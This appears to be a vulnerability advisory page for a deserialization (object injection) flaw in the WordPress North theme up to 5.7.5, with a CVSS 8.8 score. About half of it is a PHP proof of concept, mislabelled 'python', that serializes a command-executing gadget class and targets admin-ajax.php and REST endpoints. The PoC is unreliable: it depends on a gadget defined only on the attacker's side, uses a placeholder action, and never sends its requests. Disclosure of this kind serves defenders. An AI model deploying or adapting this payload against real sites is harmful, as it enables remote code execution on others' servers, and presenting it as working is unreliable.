Deserialization of Untrusted Data vulnerability in fuelthemes North north-wp allows Object Injection.This issue affects North: from n/a through <= 5.7.5.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
North Theme (WordPress) <= 5.7.5
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
// CVE-2025-69099 PoC - WordPress North Theme Object Injection
// Requires low-privilege access (subscriber or higher)
// Example POP chain gadget for demonstration
class Evil {
public $cmd;
public function __destruct() {
system($this->cmd);
}
}
// Generate malicious serialized payload
$evil = new Evil();
$evil->cmd = 'id > /tmp/pwned';
$payload = serialize($evil);
// Alternative: Using base64 encoding for obfuscation
$encoded_payload = base64_encode($payload);
// Send payload via WordPress AJAX or REST API endpoint
$target_url = 'https://target-site.com/wp-admin/admin-ajax.php';
$post_data = [
'action' => 'north_ajax_action', // Replace with actual vulnerable action
'unsafe_data' => $payload
];
// Using WordPress REST API
$api_url = 'https://target-site.com/wp-json/wp/v2/posts';
$headers = [
'Authorization' => 'Basic ' . base64_encode('user:password'),
'Content-Type' => 'application/json'
];
// Note: Actual exploitation requires identifying the vulnerable endpoint
// Check for theme options, custom post types, or AJAX handlers
echo "Payload: " . $encoded_payload . "\n";
echo "Decoded: " . $payload . "\n";
?>